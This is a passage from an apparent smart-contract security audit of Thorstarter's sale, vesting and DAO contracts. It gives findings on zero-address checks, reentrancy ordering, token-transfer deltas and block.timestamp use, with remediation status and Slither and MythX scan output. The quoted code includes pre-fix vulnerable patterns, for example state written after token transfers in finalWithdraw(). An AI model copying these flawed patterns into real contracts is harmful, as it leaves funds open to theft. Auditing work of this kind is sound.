92       offeringAmount = _offeringAmount;
93       raisingAmount = _raisingAmount;
94       perUserCap = _perUserCap;
95       totalAmount = 0;
96       owner = _owner;
97       keeper = _keeper;
98       _validateBlockParams();
99       require(_paymentToken != _offeringToken, 'payment !=
            offering');
```

```
100        require(_offeringAmount > 0, 'offering > 0');
101        require(_raisingAmount > 0, 'raising > 0');
102    }
```

Listing 15: SaleFloating.sol (Lines 90,91,99,100)

```
77  constructor(
78      IERC20 _paymentToken,
79      IERC20 _offeringToken,
80      uint _startBlock,
81      uint _endBlock,
82      uint _tokensBlock,
83      uint _startPrice,
84      uint _priceVelocity,
85      uint _offeringAmount,
86      uint _perUserCap,
87      address _owner,
88      address _keeper
89  ) {
90      paymentToken = _paymentToken;
91      offeringToken = _offeringToken;
92      startBlock = _startBlock;
93      endBlock = _endBlock;
94      tokensBlock = _tokensBlock;
95      startPrice = _startPrice;
96      priceVelocity = _priceVelocity;
97      offeringAmount = _offeringAmount;
98      perUserCap = _perUserCap;
99      owner = _owner;
100     keeper = _keeper;
101     _validateBlockParams();
102     require(_paymentToken != _offeringToken, 'payment != offering'
            );
103     require(_priceVelocity > 0, 'price velocity > 0');
104     require(_offeringAmount > 0, 'offering amount > 0');
105 }
```

Listing 16: EmissionsSplitter.sol (Lines 44,45,46,47)

```
41  constructor(address _token, uint _emissionsStart, address _dao,
        address _team, address _investors, address _ecosystem) {
42      token = IERC20(_token);
43      emissionsStart = _emissionsStart;
```

```
44     dao = _dao;
45     team = _team;
46     investors = _investors;
47     ecosystem = _ecosystem;
48 }
```

Listing 17: EmissionsPrivateDispenser.sol (Lines 30)

```
26 constructor(address _token, address[] memory investors, uint[]
       memory percentages) {
27     token = IERC20(_token);
28     require(investors.length == percentages.length);
29     for (uint i = 0; i < investors.length; i++) {
30       investorsPercentages[investors[i]] = percentages[i];
31       emit ConfigureInvestor(investors[i], percentages[i]);
32     }
33 }
```

Listing 18: VotersInvestmentDispenser.sol (Lines 28,29)

```
27     constructor(address _xruneToken, address _dao) {
28         xruneToken = IERC20(_xruneToken);
29         dao = IDAO(_dao);
30     }
```

Risk Level:

Likelihood - 3
Impact - 2

Recommendation:

Validate that every address input is different than zero.

Remediation Plan:

SOLVED: Thorstarter Team added address validation into all the constructors.

3.8 (HAL-08) VIOLATION OF CHECK, EFFECTS, INTERACTIONS PATTERN - LOW

Description:

In the contracts Sale.sol and SaleFloating.sol the check, effects, interactions pattern is not being followed in some functions and this could open an attack vector for reentrancy attacks or code inconsistencies. The finalWithdraw() function is already vulnerable to reentrancy and should be corrected.

Code Location:

Sales.sol

Listing 19: Sale.sol (Lines 254)

```
249 function finalWithdraw(uint _paymentAmount, uint _offeringAmount)
      public onlyOwner {
250   require (_paymentAmount <= paymentToken.balanceOf(address(this))
        , 'not enough payment token');
251   require (_offeringAmount <= offeringToken.balanceOf(address(this
        )), 'not enough offerring token');
252   if (_paymentAmount > 0) {
253     paymentToken.safeTransfer(address(msg.sender), _paymentAmount)
          ;
254     totalAmountWithdrawn += _paymentAmount;
255     require(totalAmountWithdrawn <= raisingAmount, 'can only
          widthdraw what is owed');
256   }
257   if (_offeringAmount > 0) {
258     offeringToken.safeTransfer(address(msg.sender),
          _offeringAmount);
259   }
260 }
```

Listing 20: Sale.sol (Lines 187,199)

```
179 function harvestRefund() public nonReentrant {
180   require (block.number > endBlock, 'not harvest time');
181   require (userInfo[msg.sender].amount > 0, 'have you participated
        ?');
182   require (!userInfo[msg.sender].claimedRefund, 'nothing to
        harvest');
183   uint amount = getRefundingAmount(msg.sender);
184   if (amount > 0) {
185     paymentToken.safeTransfer(address(msg.sender), amount);
186   }
187   userInfo[msg.sender].claimedRefund = true;
188   emit HarvestRefund(msg.sender, amount);
189 }
190
191 function harvestTokens() public nonReentrant {
192   require (block.number > tokensBlock, 'not harvest time');
193   require (userInfo[msg.sender].amount > 0, 'have you participated
        ?');
194   require (!userInfo[msg.sender].claimedTokens, 'nothing to
        harvest');
195   uint amount = getOfferingAmount(msg.sender);
196   if (amount > 0) {
197     offeringToken.safeTransfer(address(msg.sender), amount);
198   }
199   userInfo[msg.sender].claimedTokens = true;
200   emit HarvestTokens(msg.sender, amount);
201 }
```

SaleFloating.sol

Listing 21: SaleFloating.sol (Lines 182,183,199)

```
164 function harvestTokens() public nonReentrant {
165   require(!paused, 'paused');
166   require (block.number > tokensBlock, 'not harvest time');
167   require (userInfo[msg.sender].amount > 0, 'have you participated
        ?');
168   require (!userInfo[msg.sender].claimedTokens, 'nothing to
        harvest');
169   uint amount = getOfferingAmount(msg.sender);
170   if (amount > 0) {
171     offeringToken.safeTransfer(address(msg.sender), amount);
```

```
  }
  userInfo[msg.sender].claimedTokens = true;
  emit HarvestTokens(msg.sender, amount);
}
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

Follow the check, effects, interactions pattern. For the finalWithdraw() function another suggestion is using the nonReentrant modifier.

Remediation Plan:

SOLVED: Thorstarter Team has successfully implemented the check,effects,interactions pattern into the functions finalWithdraw(), harvestRefund() and harvestTokens().

3.9 (HAL-09) INCOMPATIBILITY WITH INFLATIONARY TOKENS - LOW

Description:

In multiple functions Thorstarter uses OpenZeppelin's safeTransferFrom and safeTransfer to handle the token transfers. These functions call transferFrom and transfer internally in the token contract to actually execute the transfer. However, since the actual amount transferred ie. the delta of previous (before transfer) and current (after transfer) balance is not verified, a malicious user may list a custom ERC20 token with the transferFrom or transfer function modified in such a way that it e.g. does not transfer any tokens at all and the attacker is still going to have their liquidity pool tokens minted anyway.

Code Location:

Sale.sol

Listing 22: Sale.sol

```
paymentToken.safeTransferFrom(address(msg.sender), address(this),
    _amount);
```

Listing 23: Sale.sol

```
paymentToken.safeTransfer(address(msg.sender), amount);
```

Listing 24: Sale.sol

```
offeringToken.safeTransfer(address(msg.sender), amount);
```

Listing 25: Sale.sol (Lines 253,258)

```
249 function finalWithdraw(uint _paymentAmount, uint _offeringAmount)
        public onlyOwner {
```

```
  require (_paymentAmount <= paymentToken.balanceOf(address(this))
      , 'not enough payment token');
  require (_offeringAmount <= offeringToken.balanceOf(address(this
      )), 'not enough offerring token');
  if (_paymentAmount > 0) {
    paymentToken.safeTransfer(address(msg.sender), _paymentAmount)
        ;
    totalAmountWithdrawn += _paymentAmount;
    require(totalAmountWithdrawn <= raisingAmount, 'can only
        widthdraw what is owed');
  }
  if (_offeringAmount > 0) {
    offeringToken.safeTransfer(address(msg.sender),
        _offeringAmount);
  }
}
```

SaleFloating.sol

Listing 26: SaleFloating.sol

```
paymentToken.safeTransferFrom(address(msg.sender), address(this),
    _amount);
```

Listing 27: SaleFloating.sol

```
offeringToken.safeTransfer(address(msg.sender), amount);
```

Listing 28: SaleFloating.sol (Lines 224,227)

```
220 function finalWithdraw(uint _paymentAmount, uint _offeringAmount)
      public onlyOwner {
221   require (_paymentAmount <= paymentToken.balanceOf(address(this))
        , 'not enough payment token');
222   require (_offeringAmount <= offeringToken.balanceOf(address(this
        )), 'not enough offerring token');
223   if (_paymentAmount > 0) {
224     paymentToken.safeTransfer(address(msg.sender), _paymentAmount)
          ;
225   }
226   if (_offeringAmount > 0) {
```

```
        offeringToken.safeTransfer(address(msg.sender),
            _offeringAmount);
    }
}
```

EmissionsPrivateDispenser.sol

Listing 29: EmissionsPrivateDispenser.sol (Lines 52,57)

```
48 function claim() public {
49     uint amount = claimable(msg.sender);
50     require(amount > 0, "nothing to claim");
51     investorsClaimedAmount[msg.sender] += amount;
52     token.safeTransfer(msg.sender, amount);
53     emit Claim(msg.sender, amount);
54 }
55
56 function deposit(uint amount) public {
57     token.safeTransferFrom(msg.sender, address(this), amount);
58     totalReceived += amount;
59     emit Deposit(amount);
60 }
```

LpTokenVestingKeeper.sol

Listing 30: LpTokenVestingKeeper.sol (Lines 115)

```
112 xruneToken.safeApprove(dao.voters(), (amount * 35) / 100);
113 IVoters(dao.voters()).donate((amount * 35) / 100);
114
115 xruneToken.safeTransfer(grants, (amount * 5) / 100);
116
117 // Send the leftover 25% to the DAO
118 xruneToken.transfer(address(dao), xruneToken.balanceOf(address(
        this)));
119 emit Claim(lpVesters[i], lpVestersSnapshotIds[i], amount);
```

LpTokenVesting.sol

Listing 31: LpTokenVesting.sol

```
IERC20(pair()).safeTransfer(msg.sender, amount);
```

Listing 32: LpTokenVesting.sol

```
IERC20(token).safeTransfer(msg.sender, amount);
```

VotersInvestmentDispenser.sol

Listing 33: VotersInvestmentDispenser.sol (Lines 46,53,61)

```
41 function claim(uint snapshotId) public {
42     uint amount = claimable(snapshotId, msg.sender);
43     if (amount > 0) {
44         claimedAmounts[snapshotId][msg.sender] += amount;
45         claimedAmountsTotals[snapshotId] += amount;
46         xruneToken.safeTransfer(msg.sender, amount);
47         emit Claim(snapshotId, msg.sender, amount);
48     }
49 }
50
51 // Used by LpTokenVestingKeeper
52 function deposit(uint snapshotId, uint amount) public {
53     xruneToken.safeTransferFrom(msg.sender, address(this), amount)
           ;
54     snapshotAmounts[snapshotId] += amount;
55     emit Deposit(snapshotId, amount);
56 }
57
58 // Allow DAO to get tokens out and migrate to a different contract
59 function withdraw(address token, uint amount) public {
60     require(msg.sender == address(dao), '!DAO');
61     IERC20(token).safeTransfer(address(dao), amount);
62 }
```

EmissionsSplitter.sol

Listing 34: EmissionsSplitter.sol

```
token.safeTransfer(team, teamAmount);
```

Listing 35: EmissionsSplitter.sol

```
113 token.safeTransfer(team, teamAmount);
```

Listing 36: EmissionsSplitter.sol (Lines 123,127)

```
120 if (ecosystemAmount > 0) {
121     sentToEcosystem += ecosystemAmount;
122     amount -= ecosystemAmount;
123     token.safeTransfer(ecosystem, ecosystemAmount);
124 }
125
126 if (amount > 0) {
127     token.safeTransfer(dao, amount);
128 }
```

OpenZeppelin

Listing 37: Library SafeERC20 (Lines 20,25,28,34)

```
17 library SafeERC20 {
18     using Address for address;
19
20     function safeTransfer(
21         IERC20 token,
22         address to,
23         uint256 value
24     ) internal {
25         _callOptionalReturn(token, abi.encodeWithSelector(token.
               transfer.selector, to, value));
26     }
27
28     function safeTransferFrom(
29         IERC20 token,
30         address from,
31         address to,
32         uint256 value
33     ) internal {
34         _callOptionalReturn(token, abi.encodeWithSelector(token.
               transferFrom.selector, from, to, value));
35     }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

Whenever tokens are transferred, the delta of the previous (before transfer) and current (after transfer) token balance should be verified to match the user-declared token amount.

Remediation Plan:

RISK ACCEPTED: Thorstarter Team claims that most of the tokens addresses are contracts self-deployed by Thorstarter or check before hand.

3.10 (HAL-10) USE OF BLOCK.TIMESTAMP - LOW

Description:

During a manual review, we noticed the use of block.timestamp. The contract developers should be aware that this does not mean current time. Miners can influence the value of block.timestamp to perform Maximal Extractable Value (MEV) attacks. The use of block.timestamp creates a risk that miners could perform time manipulation to influence price oracles. Miners can modify the timestamp by up to 900 seconds.

Code Location:

DAO.sol

Listing 38: DAO.sol

```
require(block.timestamp > proposals[latestProposalId].endAt, "1
    live proposal max");
```

Listing 39: DAO.sol (Lines 108,109,110)

```
101 // Add new proposal
102 proposalsCount += 1;
103 Proposal storage newProposal = proposals[proposalsCount];
104 newProposal.id = proposalsCount;
105 newProposal.proposer = msg.sender;
106 newProposal.title = title;
107 newProposal.description = description;
108 newProposal.startAt = block.timestamp;
109 newProposal.endAt = block.timestamp + votingTime;
110 newProposal.executableAt = block.timestamp + votingTime +
        executionDelay;
111 newProposal.snapshotId = snapshotId;
```

Listing 40: DAO.sol

```
require(block.timestamp > proposals[latestProposalId].endAt, "1 live proposal max");
```

Listing 41: DAO.sol (Lines 144,145,146)

```
137 // Add new proposal
138 proposalsCount += 1;
139 Proposal storage newProposal = proposals[proposalsCount];
140 newProposal.id = proposalsCount;
141 newProposal.proposer = msg.sender;
142 newProposal.title = title;
143 newProposal.description = description;
144 newProposal.startAt = block.timestamp;
145 newProposal.endAt = block.timestamp + 86400; // 24 hours
146 newProposal.executableAt = block.timestamp + 86400; // Executable immediately
```

Listing 42: DAO.sol

```
require(block.timestamp < p.endAt, "voting ended");
```

Listing 43: DAO.sol (Lines 197,200)

```
194 function execute(uint proposalId) external {
195     Proposal storage p = proposals[proposalId];
196     require(p.executedAt == 0, "already executed");
197     require(block.timestamp > p.executableAt, "not yet executable");
198     require(!p.cancelled, "proposal cancelled");
199     require(p.optionsVotes.length >= 2, "not a proposal");
200     p.executedAt = block.timestamp; // Mark as executed now to prevent re-entrancy
```

LpTokenVesting.sol

Listing 44: LpTokenVesting.sol

```
uint percentVested = (block.timestamp - _min(block.timestamp, vestingStart + vestingCliff)) * 1e6 / vestingLength;
```

Listing 45: LpTokenVesting.sol

```
vestingStart = block.timestamp;
```

LpTokenVestingKeeper.sol

Listing 46: LpTokenVestingKeeper.sol (Lines 75,80)

```
74 function shouldRun() public view returns (bool) {
75   return block.timestamp > lastRun + 82800; // 23 hours
76 }
77
78 function run() external {
79   require(shouldRun(), "should not run");
80   lastRun = block.timestamp;
81   for (uint i = 0; i < lpVestersCount; i++) {
```

EmissionsSplitter.sol

Listing 47: EmissionsSplitter.sol

```
uint investorsProgress = _min(((block.timestamp - emissionsStart)
    * 1e12) / ONE_YEAR, 1e12);
```

Listing 48: EmissionsSplitter.sol

```
uint elapsed = block.timestamp - emissionsStart;
```

Listing 49: EmissionsSplitter.sol

```
uint teamProgress = _min(((block.timestamp - emissionsStart) * 1
    e12) / (2 * ONE_YEAR), 1e12);
```

Listing 50: EmissionsSplitter.sol

```
uint elapsed = block.timestamp - emissionsStart;
```

Listing 51: EmissionsSplitter.sol

```
uint ecosystemProgress = _min(((block.timestamp - emissionsStart)
    * 1e12) / (10 * ONE_YEAR), 1e12);
```

Risk Level:

Likelihood - 3
Impact - 1

Recommendation:

Use block.number instead of block.timestamp or now to reduce the risk of Maximal Extractable Value (MEV) attacks. Check if the timescale of the project occurs across years, days and months rather than seconds. If possible, it is recommended to use Oracles.

Remediation Plan:

NOT APPLICABLE: Thorstarter Team considers appropriate the use of block.timestampclaims because their timescales is higher than a month. In addition, they claim that the accuracy of timestamp values especially in the case of long schedules like vesting schedules and even DAO proposals since block time/numbers are harder for humans to keep track of.

3.11 (HAL-11) MISUSE OF PUBLIC FUNCTIONS - INFORMATIONAL

Description:

One of the findings by Slither is involved with declaring some functions as external instead of public. In public functions, array arguments are immediately copied to memory, while external functions can read directly from calldata. Reading calldata is cheaper than memory allocation.

Public functions need to write the arguments to memory because public functions may be called internally. Internal calls are passed internally by pointers to memory. Thus, function expects its arguments being located in memory when the compiler generates the code for an internal function.

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Consider as much as possible declaring external functions instead of public functions. As for best practices, you should use external if you expect that the function will only ever be called externally and use public if you need to call the function internally. To sum up, everybody can access to public functions while external functions can only be accessed externally.

Remediation Plan:

SOLVED: Thorstarter Team has followed this approach in order to minimize the gas costs in their contracts.

3.12 (HAL-12) REQUIRES CHECK MISSING - INFORMATIONAL

Description:

In the contracts Sale.sol and SaleFloating.sol, in the constructor, there are the following require statements declared:

Sale.sol

Listing 52: Sale.sol (Lines 100,101)

```
75  constructor(
76      IERC20 _paymentToken,
77      IERC20 _offeringToken,
78      uint _startBlock,
79      uint _endBlock,
80      uint _tokensBlock,
81      uint _offeringAmount,
82      uint _raisingAmount,
83      uint _perUserCap,
84      address _owner,
85      address _keeper
86  ) {
87      paymentToken = _paymentToken;
88      offeringToken = _offeringToken;
89      startBlock = _startBlock;
90      endBlock = _endBlock;
91      tokensBlock = _tokensBlock;
92      offeringAmount = _offeringAmount;
93      raisingAmount = _raisingAmount;
94      perUserCap = _perUserCap;
95      totalAmount = 0;
96      owner = _owner;
97      keeper = _keeper;
98      _validateBlockParams();
99      require(_paymentToken != _offeringToken, 'payment != offering'
           );
100     require(_offeringAmount > 0, 'offering > 0');
101     require(_raisingAmount > 0, 'raising > 0');
102 }
```

SaleFloating.sol

Listing 53: SaleFloating (Lines 103,104)

```
77 constructor(
78     IERC20 _paymentToken,
79     IERC20 _offeringToken,
80     uint _startBlock,
81     uint _endBlock,
82     uint _tokensBlock,
83     uint _startPrice,
84     uint _priceVelocity,
85     uint _offeringAmount,
86     uint _perUserCap,
87     address _owner,
88     address _keeper
89 ) {
90     paymentToken = _paymentToken;
91     offeringToken = _offeringToken;
92     startBlock = _startBlock;
93     endBlock = _endBlock;
94     tokensBlock = _tokensBlock;
95     startPrice = _startPrice;
96     priceVelocity = _priceVelocity;
97     offeringAmount = _offeringAmount;
98     perUserCap = _perUserCap;
99     owner = _owner;
100     keeper = _keeper;
101     _validateBlockParams();
102     require(_paymentToken != _offeringToken, 'payment != offering'
        );
103     require(_priceVelocity > 0, 'price velocity > 0');
104     require(_offeringAmount > 0, 'offering amount > 0');
105 }
```

The require statements check that the variables offeringAmount and raisingAmount are not set to 0. But then, there are 2 setter functions available for the onlyOwnerOrKeeper() roles that do not perform this check. The require statement is missing in those 2 functions:

Sale.sol

Listing 54: Sale.sol

```
function setOfferingAmount(uint _offerAmount) public
    onlyOwnerOrKeeper {
  require (block.number < startBlock, 'sale started');
  offeringAmount = _offerAmount;
}

function setRaisingAmount(uint _raisingAmount) public
    onlyOwnerOrKeeper {
  require (block.number < startBlock, 'sale started');
  raisingAmount = _raisingAmount;
}
```

SaleFloating.sol

Listing 55: SaleFloating.sol

```
function setOfferingAmount(uint _offerAmount) public
    onlyOwnerOrKeeper {
  require (block.number < startBlock, 'sale started');
  offeringAmount = _offerAmount;
}
```

Listing 56: SaleFloating.sol

```
function setPriceVelocity(uint _priceVelocity) public
    onlyOwnerOrKeeper {
  require (block.number < startBlock, 'sale started');
  priceVelocity = _priceVelocity;
}
```

This could cause a bad state in the contract or some inconsistencies.

Risk Level:

Likelihood - 1
Impact - 1

FINDINGS & TECH DETAILS

Recommendation:

Add the missing `require` statements in all the setter functions.

Remediation Plan:

SOLVED: The functions `setOfferingAmount()`, `setRaisingAmount()` and `setRaisingAmount()` have been removed.

3.13 (HAL-13) VARIABLE CAN BE INITIALIZED WITH A ZERO VALUE - INFORMATIONAL

Description:

In the contract LpTokenVesting.sol the global variable vestingLength can be initialized in the constructor with a zero value which would break the contract functionality as then this variable is used to calculate the amount of tokens that can be claimed by a party.

Code Location:

Listing 57: LpTokenVesting.sol (Lines 49)

```
43 constructor(address _token0, address _token1, address _sushiRouter
       , uint _vestingCliff, uint _vestingLength, address[] memory
       _owners) {
44     (_token0, _token1) = _token0 < _token1 ? (_token0, _token1) :
           (_token1, _token0);
45     token0 = IERC20(_token0);
46     token1 = IERC20(_token1);
47     sushiRouter = IUniswapV2Router(_sushiRouter);
48     vestingCliff = _vestingCliff;
49     vestingLength = _vestingLength;
50     partyCount = _owners.length;
51     for (uint i = 0; i < _owners.length; i++) {
52         Party storage p = parties[i];
53         p.owners[_owners[i]] = true;
54         owners[_owners[i]] = true;
55     }
56 }
```

Listing 58: LpTokenVesting.sol (Lines 87)

```
82 function claimable(uint party) public view returns (uint) {
83     if (vestingStart == 0 || party >= partyCount) {
84         return 0;
```

```
    }
    Party storage p = parties[party];
    uint percentVested = (block.timestamp - _min(block.timestamp, vestingStart + vestingCliff)) * 1e6 / vestingLength;
    if (percentVested > 1e6) {
        percentVested = 1e6;
    }
    return ((initialLpShareAmount * percentVested) / 1e6 / partyCount) - p.claimedAmount;
}
```

Recommendation:

Add a require statement that checks that this variable is not zero.

Remediation Plan:

SOLVED: Thorstarter Team added a require statement that checks that vestingLength variable is higher than 2592000 (1 month).

3.14 (HAL-14) CHECK VARIABLE IS NOT EQUAL TO ZERO - INFORMATIONAL

Description:

In the contract VotersInvestmentDispenser.sol, in the function claimable () the variable totalSupply is used as denominator in a division. This variable should be checked that is different than zero.

Code Location:

Listing 59: VotersInvestmentDispenser.sol (Lines 38)

```
33 function claimable(uint snapshotId, address user) public view
       returns (uint) {
34     IVoters voters = IVoters(dao.voters());
35     uint total = snapshotAmounts[snapshotId];
36     uint totalSupply = voters.totalSupplyAt(snapshotId);
37     uint balance = voters.balanceOfAt(user, snapshotId);
38     return ((total * balance) / totalSupply) - claimedAmounts[
           snapshotId][user];
39 }
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Add a require statement that checks that the variable lpTokenSupply is not equal to zero.

Remediation Plan:

SOLVED: Thorstarter Team added a require statement that checks that totalSupply variable is higher than 0.

AUTOMATED TESTING

4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their abi and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

Sale.sol

```
INFO:Detectors:
Reentrancy in Sale.harvestAll() (Sale.sol#203-206):
        External calls:
        - harvestRefund() (Sale.sol#204)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (../node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#92)
                - (success,returndata) = target.call{value: value}(data) (../node_modules/@openzeppelin/contracts/utils/Address.sol#131)
                - paymentToken.safeTransfer(address(msg.sender),amount) (Sale.sol#185)
        - harvestTokens() (Sale.sol#205)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (../node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#92)
                - (success,returndata) = target.call{value: value}(data) (../node_modules/@openzeppelin/contracts/utils/Address.sol#131)
                - offeringToken.safeTransfer(address(msg.sender),amount) (Sale.sol#197)
        External calls sending eth:
        - harvestRefund() (Sale.sol#204)
                - (success,returndata) = target.call{value: value}(data) (../node_modules/@openzeppelin/contracts/utils/Address.sol#131)
        - harvestTokens() (Sale.sol#205)
                - (success,returndata) = target.call{value: value}(data) (../node_modules/@openzeppelin/contracts/utils/Address.sol#131)
        State variables written after the call(s):
        - harvestTokens() (Sale.sol#205)
                - _status = _ENTERED (../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol#54)
                - _status = _NOT_ENTERED (../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol#60)
        - harvestTokens() (Sale.sol#205)
                - userInfo[msg.sender].claimedTokens = true (Sale.sol#199)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities
INFO:Detectors:
Reentrancy in Sale.harvestRefund() (Sale.sol#179-189):
        External calls:
        - paymentToken.safeTransfer(address(msg.sender),amount) (Sale.sol#185)
        State variables written after the call(s):
        - userInfo[msg.sender].claimedRefund = true (Sale.sol#187)
Reentrancy in Sale.harvestTokens() (Sale.sol#191-201):
        External calls:
        - offeringToken.safeTransfer(address(msg.sender),amount) (Sale.sol#197)
        State variables written after the call(s):
        - userInfo[msg.sender].claimedTokens = true (Sale.sol#199)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
```

All the reentrancy detections are false positives as these functions are protected with the nonReentrant modifier.

SaleFloating.sol

```
INFO:Detectors:
Reentrancy in SaleFloating.deposit(uint256) (SaleFloating.sol#164-188):
        External calls:
        - paymentToken.safeTransferFrom(address(msg.sender),address(this),_amount) (SaleFloating.sol#180)
        State variables written after the call(s):
        - totalOfferingAmount += getOfferingAmount(msg.sender) (SaleFloating.sol#186)
        - userInfo[msg.sender].amount = _amount (SaleFloating.sol#182)
        - userInfo[msg.sender].price = price (SaleFloating.sol#185)
Reentrancy in SaleFloating.harvestTokens() (SaleFloating.sol#190-201):
        External calls:
        - offeringToken.safeTransfer(address(msg.sender),amount) (SaleFloating.sol#197)
        State variables written after the call(s):
        - userInfo[msg.sender].claimedTokens = true (SaleFloating.sol#199)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
```

AUTOMATED TESTING

All the reentrancy detections are false positives as these functions are protected with the nonReentrant modifier.

LpTokenVesting.sol

EmissionsSplitter.sol

```
INFO:Detectors:
Reentrancy in EmissionsSplitter.run() (EmissionsSplitter.sol#54-131):
        External calls:
        - token.safeApprove(investors,investorsAmount) (EmissionsSplitter.sol#69)
        - IEmissionsPrivateDispenser(investors).deposit(investorsAmount) (EmissionsSplitter.sol#70)
        State variables written after the call(s):
        - sentToInvestors += investorsAmount_scope_2 (EmissionsSplitter.sol#82)
Reentrancy in EmissionsSplitter.run() (EmissionsSplitter.sol#54-131):
        External calls:
        - token.safeApprove(investors,investorsAmount) (EmissionsSplitter.sol#69)
        - IEmissionsPrivateDispenser(investors).deposit(investorsAmount) (EmissionsSplitter.sol#70)
        - token.safeApprove(investors,investorsAmount_scope_2) (EmissionsSplitter.sol#84)
        - IEmissionsPrivateDispenser(investors).deposit(investorsAmount_scope_2) (EmissionsSplitter.sol#85)
        - token.safeTransfer(team,teamAmount) (EmissionsSplitter.sol#99)
        State variables written after the call(s):
        - sentToTeam += teamAmount_scope_6 (EmissionsSplitter.sol#111)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
```

EmissionsPrivateDispenser.sol

```
INFO:Detectors:
Reentrancy in EmissionsPrivateDispenser.deposit(uint256) (EmissionsPrivateDispenser.sol#56-60):
        External calls:
        - token.safeTransferFrom(msg.sender,address(this),amount) (EmissionsPrivateDispenser.sol#57)
        State variables written after the call(s):
        - totalReceived += amount (EmissionsPrivateDispenser.sol#58)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2
INFO:Detectors:
Reentrancy in EmissionsPrivateDispenser.claim() (EmissionsPrivateDispenser.sol#48-54):
        External calls:
        - token.safeTransfer(msg.sender,amount) (EmissionsPrivateDispenser.sol#52)
        Event emitted after the call(s):
        - Claim(msg.sender,amount) (EmissionsPrivateDispenser.sol#53)
Reentrancy in EmissionsPrivateDispenser.deposit(uint256) (EmissionsPrivateDispenser.sol#56-60):
        External calls:
        - token.safeTransferFrom(msg.sender,address(this),amount) (EmissionsPrivateDispenser.sol#57)
        Event emitted after the call(s):
        - Deposit(amount) (EmissionsPrivateDispenser.sol#59)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
INFO:Detectors:
renounceOwnership() should be declared external:
        - Ownable.renounceOwnership() (../node_modules/@openzeppelin/contracts/access/Ownable.sol#53-55)
transferOwnership(address) should be declared external:
        - Ownable.transferOwnership(address) (../node_modules/@openzeppelin/contracts/access/Ownable.sol#61-64)
updateInvestorAddress(address,address) should be declared external:
        - EmissionsPrivateDispenser.updateInvestorAddress(address,address) (EmissionsPrivateDispenser.sol#35-42)
claim() should be declared external:
        - EmissionsPrivateDispenser.claim() (EmissionsPrivateDispenser.sol#48-54)
deposit(uint256) should be declared external:
        - EmissionsPrivateDispenser.deposit(uint256) (EmissionsPrivateDispenser.sol#56-60)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

AUTOMATED TESTING

4.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

MythX results:

Sale.sol

Report for contracts/Sale.sol
https://dashboard.mythx.io/#/console/analyses/446fb40c-f673-41be-a025-25c6f8fe5805

Line	SWC Title	Severity	Short Description
68	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reacheable exception by default.
115	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
117	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
118	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
122	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
127	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
158	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
173	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
174	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
180	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
192	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
218	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
218	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
225	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
225	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
227	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
227	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
237	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
237	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
238	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
254	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered

SaleFloating.sol

Report for contracts/SaleFloating.sol
https://dashboard.mythx.io/#/console/analyses/956cf272-21a1-410b-ac42-953ac5d72524

Line	SWC Title	Severity	Short Description
71	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reacheable exception by default.
118	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
120	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
121	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
